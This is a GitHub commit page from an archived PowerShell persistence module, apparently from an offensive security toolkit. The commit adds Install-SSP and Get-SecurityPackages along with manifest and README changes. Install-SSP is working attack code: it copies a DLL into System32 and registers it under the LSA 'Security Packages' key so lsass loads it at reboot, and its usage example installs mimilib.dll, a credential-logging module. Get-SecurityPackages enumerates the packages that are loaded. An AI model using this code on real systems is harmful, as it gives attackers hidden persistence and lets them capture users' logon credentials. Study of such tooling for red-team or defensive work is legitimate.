Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 0ca33b0

Browse files
author
mattifestation
committed
Added Install-SSP and Get-SecurityPackages
1 parent 9d412f0 commit 0ca33b0

File tree

3 files changed

+303
-4
lines changed

3 files changed

+303
-4
lines changed

Persistence/Persistence.psd1

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
ModuleToProcess = 'Persistence.psm1'
55

66
# Version number of this module.
7-
ModuleVersion = '1.0.0.0'
7+
ModuleVersion = '1.1.0.0'
88

99
# ID used to uniquely identify this module
1010
GUID = '633d0f10-a056-41da-869d-6d2f75430195'
@@ -27,9 +27,6 @@ FunctionsToExport = '*'
2727
# Cmdlets to export from this module
2828
CmdletsToExport = '*'
2929

30-
# List of all modules packaged with this module.
31-
ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'})
32-
3330
# List of all files packaged with this module
3431
FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md'
3532

Persistence/Persistence.psm1

Lines changed: 294 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -697,4 +697,298 @@ $UserTriggerRemoval
697697
}
698698

699699
#endregion
700+
}
701+
702+
function Install-SSP
703+
{
704+
<#
705+
.SYNOPSIS
706+
707+
Installs a security support provider (SSP) dll.
708+
709+
Author: Matthew Graeber (@mattifestation)
710+
License: BSD 3-Clause
711+
Required Dependencies: None
712+
Optional Dependencies: None
713+
714+
.DESCRIPTION
715+
716+
Install-SSP installs an SSP dll. Installation involves copying the dll to
717+
%windir%\System32 and adding the name of the dll to
718+
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages.
719+
720+
.PARAMETER Remove
721+
722+
Specifies the path to the SSP dll you would like to install.
723+
724+
.EXAMPLE
725+
726+
Install-SSP -Path .\mimilib.dll
727+
728+
.NOTES
729+
730+
The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll
731+
if you are running a 64-bit OS. In order for the SSP dll to be loaded properly
732+
into lsass, the dll must export SpLsaModeInitialize.
733+
#>
734+
735+
[CmdletBinding()] Param (
736+
[ValidateScript({Test-Path (Resolve-Path $_)})]
737+
[String]
738+
$Path
739+
)
740+
741+
$Principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
742+
743+
if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
744+
{
745+
throw 'Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.'
746+
}
747+
748+
# Resolve the full path if a relative path was provided.
749+
$FullDllPath = Resolve-Path $Path
750+
751+
# Helper function used to determine the dll architecture
752+
function local:Get-PEArchitecture
753+
{
754+
Param
755+
(
756+
[Parameter( Position = 0,
757+
Mandatory = $True )]
758+
[String]
759+
$Path
760+
)
761+
762+
# Parse PE header to see if binary was compiled 32 or 64-bit
763+
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
764+
765+
[Byte[]] $MZHeader = New-Object Byte[](2)
766+
$FileStream.Read($MZHeader,0,2) | Out-Null
767+
768+
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
769+
if ($Header -ne 'MZ')
770+
{
771+
$FileStream.Close()
772+
Throw 'Invalid PE header.'
773+
}
774+
775+
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
776+
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
777+
778+
[Byte[]] $lfanew = New-Object Byte[](4)
779+
780+
# Read offset to the PE Header (will be read in reverse)
781+
$FileStream.Read($lfanew,0,4) | Out-Null
782+
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
783+
784+
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
785+
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
786+
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
787+
788+
# Read compiled architecture
789+
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
790+
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
791+
$FileStream.Close()
792+
793+
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
794+
{
795+
Throw 'Invalid PE header or unsupported architecture.'
796+
}
797+
798+
if ($Architecture -eq '014C')
799+
{
800+
Write-Output '32-bit'
801+
}
802+
elseif ($Architecture -eq '8664')
803+
{
804+
Write-Output '64-bit'
805+
}
806+
else
807+
{
808+
Write-Output 'Other'
809+
}
810+
}
811+
812+
$DllArchitecture = Get-PEArchitecture $FullDllPath
813+
814+
$OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture
815+
816+
if ($DllArchitecture -ne $OSArch)
817+
{
818+
throw 'The operating system architecture must match the architecture of the SSP dll.'
819+
}
820+
821+
$Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name
822+
823+
# Get the dll filename without the extension.
824+
# This will be added to the registry.
825+
$DllName = $Dll | % { % {($_ -split '\.')[0]} }
826+
827+
# Enumerate all of the currently installed SSPs
828+
$SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' |
829+
Select-Object -ExpandProperty 'Security Packages'
830+
831+
if ($SecurityPackages -contains $DllName)
832+
{
833+
throw "'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages."
834+
}
835+
836+
# In case you're running 32-bit PowerShell on a 64-bit OS
837+
$NativeInstallDir = "$($Env:windir)\Sysnative"
838+
839+
if (Test-Path $NativeInstallDir)
840+
{
841+
$InstallDir = $NativeInstallDir
842+
}
843+
else
844+
{
845+
$InstallDir = "$($Env:windir)\System32"
846+
}
847+
848+
if (Test-Path (Join-Path $InstallDir $Dll))
849+
{
850+
throw "$Dll is already installed in $InstallDir."
851+
}
852+
853+
# If you've made it this far, you are clear to install the SSP dll.
854+
Copy-Item $FullDllPath $InstallDir
855+
856+
$SecurityPackages += $DllName
857+
858+
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages
859+
860+
Write-Verbose 'Installation complete! Reboot for changes to take effect.'
861+
}
862+
863+
function Get-SecurityPackages
864+
{
865+
<#
866+
.SYNOPSIS
867+
868+
Enumerates all loaded security packages (SSPs).
869+
870+
Author: Matthew Graeber (@mattifestation)
871+
License: BSD 3-Clause
872+
Required Dependencies: None
873+
Optional Dependencies: None
874+
875+
.DESCRIPTION
876+
877+
Get-SecurityPackages is a wrapper for secur32!EnumerateSecurityPackages.
878+
It also parses the returned SecPkgInfo struct array.
879+
880+
.EXAMPLE
881+
882+
Get-SecurityPackages
883+
#>
884+
885+
[CmdletBinding()] Param()
886+
887+
#region P/Invoke declarations for secur32.dll
888+
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI')
889+
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
890+
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI', $False)
891+
892+
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
893+
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
894+
$StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
895+
896+
$EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32])
897+
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
898+
$null = $EnumBuilder.DefineLiteral('INTEGRITY', 1)
899+
$null = $EnumBuilder.DefineLiteral('PRIVACY', 2)
900+
$null = $EnumBuilder.DefineLiteral('TOKEN_ONLY', 4)
901+
$null = $EnumBuilder.DefineLiteral('DATAGRAM', 8)
902+
$null = $EnumBuilder.DefineLiteral('CONNECTION', 0x10)
903+
$null = $EnumBuilder.DefineLiteral('MULTI_REQUIRED', 0x20)
904+
$null = $EnumBuilder.DefineLiteral('CLIENT_ONLY', 0x40)
905+
$null = $EnumBuilder.DefineLiteral('EXTENDED_ERROR', 0x80)
906+
$null = $EnumBuilder.DefineLiteral('IMPERSONATION', 0x100)
907+
$null = $EnumBuilder.DefineLiteral('ACCEPT_WIN32_NAME', 0x200)
908+
$null = $EnumBuilder.DefineLiteral('STREAM', 0x400)
909+
$null = $EnumBuilder.DefineLiteral('NEGOTIABLE', 0x800)
910+
$null = $EnumBuilder.DefineLiteral('GSS_COMPATIBLE', 0x1000)
911+
$null = $EnumBuilder.DefineLiteral('LOGON', 0x2000)
912+
$null = $EnumBuilder.DefineLiteral('ASCII_BUFFERS', 0x4000)
913+
$null = $EnumBuilder.DefineLiteral('FRAGMENT', 0x8000)
914+
$null = $EnumBuilder.DefineLiteral('MUTUAL_AUTH', 0x10000)
915+
$null = $EnumBuilder.DefineLiteral('DELEGATION', 0x20000)
916+
$null = $EnumBuilder.DefineLiteral('READONLY_WITH_CHECKSUM', 0x40000)
917+
$null = $EnumBuilder.DefineLiteral('RESTRICTED_TOKENS', 0x80000)
918+
$null = $EnumBuilder.DefineLiteral('NEGO_EXTENDER', 0x100000)
919+
$null = $EnumBuilder.DefineLiteral('NEGOTIABLE2', 0x200000)
920+
$null = $EnumBuilder.DefineLiteral('APPCONTAINER_PASSTHROUGH', 0x400000)
921+
$null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000)
922+
$SECPKG_FLAG = $EnumBuilder.CreateType()
923+
924+
$TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Object], [Reflection.Emit.PackingSize]::Size8)
925+
$null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public')
926+
$null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public')
927+
$null = $TypeBuilder.DefineField('wRPCID', [Int16], 'Public')
928+
$null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public')
929+
$null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public')
930+
$null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public')
931+
$SecPkgInfo = $TypeBuilder.CreateType()
932+
933+
$TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class')
934+
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages',
935+
'secur32.dll',
936+
'Public, Static',
937+
[Reflection.CallingConventions]::Standard,
938+
[Int32],
939+
[Type[]] @([Int32].MakeByRefType(),
940+
[IntPtr].MakeByRefType()),
941+
[Runtime.InteropServices.CallingConvention]::Winapi,
942+
[Runtime.InteropServices.CharSet]::Ansi)
943+
944+
$Secur32 = $TypeBuilder.CreateType()
945+
946+
$PackageCount = 0
947+
$PackageArrayPtr = [IntPtr]::Zero
948+
$Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageArrayPtr)
949+
950+
if ($Result -ne 0)
951+
{
952+
throw "Unable to enumerate seucrity packages. Error (0x$($Result.ToString('X8')))"
953+
}
954+
955+
if ($PackageCount -eq 0)
956+
{
957+
Write-Verbose 'There are no installed security packages.'
958+
return
959+
}
960+
961+
$StructAddress = $PackageArrayPtr
962+
963+
foreach ($i in 1..$PackageCount)
964+
{
965+
$SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $SecPkgInfo)
966+
$StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $SecPkgInfo))
967+
968+
$Name = $null
969+
970+
if ($SecPackageStruct.Name -ne [IntPtr]::Zero)
971+
{
972+
$Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Name)
973+
}
974+
975+
$Comment = $null
976+
977+
if ($SecPackageStruct.Comment -ne [IntPtr]::Zero)
978+
{
979+
$Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Comment)
980+
}
981+
982+
$Attributes = @{
983+
Name = $Name
984+
Comment = $Comment
985+
Capabilities = $SecPackageStruct.fCapabilities
986+
MaxTokenSize = $SecPackageStruct.cbMaxToken
987+
}
988+
989+
$SecPackage = New-Object PSObject -Property $Attributes
990+
$SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO'
991+
992+
$SecPackage
993+
}
700994
}

README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -56,6 +56,14 @@ Configure elevated persistence options for the Add-Persistence function.
5656

5757
Add persistence capabilities to a script.
5858

59+
#### `Install-SSP`
60+
61+
Installs a security support provider (SSP) dll.
62+
63+
#### `Get-SecurityPackages`
64+
65+
Enumerates all loaded security packages (SSPs).
66+
5967
## PETools
6068

6169
**Parse/manipulate Windows portable executables.**

0 commit comments

Comments
 (0)